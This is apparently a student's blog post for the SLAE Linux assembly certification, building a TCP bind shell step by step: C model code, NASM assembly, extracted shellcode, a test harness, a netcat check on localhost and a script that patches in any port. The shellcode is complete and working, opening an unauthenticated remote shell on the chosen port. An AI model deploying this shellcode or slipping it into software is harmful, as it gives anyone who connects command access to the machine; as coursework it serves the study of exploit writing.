danielsauder

IT security is a matter of trust.

SLAE Assignment 1: Bind Shell

What it is about:
•  Create a Shell_Bind_TCP shellcode
– Binds to a port
– Execs Shell on incoming connection
•  Port number should be easily configurable

Here is the C code for the bind shell, I used it for modelling the assembler code:

bindshellds.c

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void) 
{
   int sockfd, new_sockfd;  
   struct sockaddr_in host_addr, client_addr; 
   socklen_t sin_size;
   int yes=1;

   sockfd = socket(PF_INET, SOCK_STREAM, 0);
   
   host_addr.sin_family = AF_INET;        
   host_addr.sin_port = htons(12345);    
   host_addr.sin_addr.s_addr = INADDR_ANY; 
   memset(&(host_addr.sin_zero), '', 8); 

   bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));

   listen(sockfd, 4);

   sin_size = sizeof(struct sockaddr_in);
   new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

   dup2(new_sockfd,0);
   dup2(new_sockfd,1);
   dup2(new_sockfd,2);
   execve("/bin/sh", NULL, NULL);
}

Here is the assembler code:

bindshellds.nasm

global _start

section .text

_start:

  ; socket
  push BYTE 0x66    ; socketcall (syscall 102) 
  pop eax
  xor ebx, ebx 
  inc ebx           ; 1 = SYS_SOCKET = socket() 
  xor edx, edx
  push edx 
  push BYTE 0x1
  push BYTE 0x2
  mov ecx, esp
  int 0x80
  mov esi, eax
  
  ; bind
  push BYTE 0x66    ; socketcall (syscall 102) 
  pop eax
  inc ebx           ; ebx = 2 = SYS_BIND = bind()
  push edx
  push WORD 0x3930  ; Port 12345
  push WORD bx
  mov ecx, esp
  push BYTE 16
  push ecx
  push esi
  mov ecx, esp
  int 0x80

  ; listen
  mov BYTE al, 0x66 ; socketcall (syscall 102) 
  inc ebx
  inc ebx           ; ebx = 4 = SYS_LISTEN = listen()
  push ebx
  push esi
  mov ecx, esp
  int 0x80

  ; accept
  mov BYTE al, 0x66 ; socketcall (syscall 102) 
  inc ebx           ; ebx = 5 = SYS_ACCEPT 
  push edx
  push edx
  push esi
  mov ecx, esp
  int 0x80

  ; dup2
  mov ebx, eax
  push BYTE 0x2 
  pop ecx
  mov BYTE al, 0x3F ; dup2  syscall 63
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80 
  
  ; execve
  mov BYTE al, 11   
  push edx 
  push 0x68732f2f  
  push 0x6e69622f  
  mov ebx, esp 
  push edx   
  mov edx, esp  
  push ebx 
  mov ecx, esp  
  int 0x80 

The program is compiled and the shellcode is extracted as shown in the course:

$ nasm -f elf32 bindshellds.nasm
$ ld bindshellds.o
$ objdump -d ./a.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

The resulting shellcode:

"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

For a proof concept, the following C programm can be used:

shellcode_bindshellds.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

It is working:
1.) Run the executable

$ a.out
Shellcode Length:  102

2.) In another window use netcat for testing the bind shell

$ nc localhost 12345
pwd
/home/dax/slae/cert/a1
exit

For using another port the following script can be used, usage mkbindshell.sh port:

mkbindshell.sh

#!/bin/bash

len=`echo "obase=16; $1"|bc | wc -c`
adr=""

if [ "$len" == "2" ]
 then
  tmp=`echo "obase=16; $1"|bc`
  adr=`echo "\\x0$tmp"`
fi

if [ "$len" == "3" ]
 then
  tmp=`echo "obase=16; $1"|bc`
  adr=`echo "\\x$tmp"`
fi

if [ "$len" == "4" ]
 then
  tmp=`echo "obase=16; $1"|bc`
  tmp1=`echo "$tmp"|cut -c1-1`
  tmp2=`echo "$tmp"|cut -c2-3`
  adr=`echo "\\x0$tmp1\\x$tmp2"`
fi

if [ "$len" == "5" ]
 then
  tmp=`echo "obase=16; $1"|bc`
  tmp1=`echo "$tmp"|cut -c1-2`
  tmp2=`echo "$tmp"|cut -c3-4`
  adr=`echo "\\x$tmp1\\x$tmp2"`
fi

echo "port as hex: $adr"
echo "shellcode:"
echo "\"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68$adr\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80\""

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342


Published by

One response to “SLAE Assignment 1: Bind Shell”

  1. […] was a bindshell. For that I took the example from me for the SLEA certification, that can be found here. I looked for a 64bit example and found it here and make it […]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: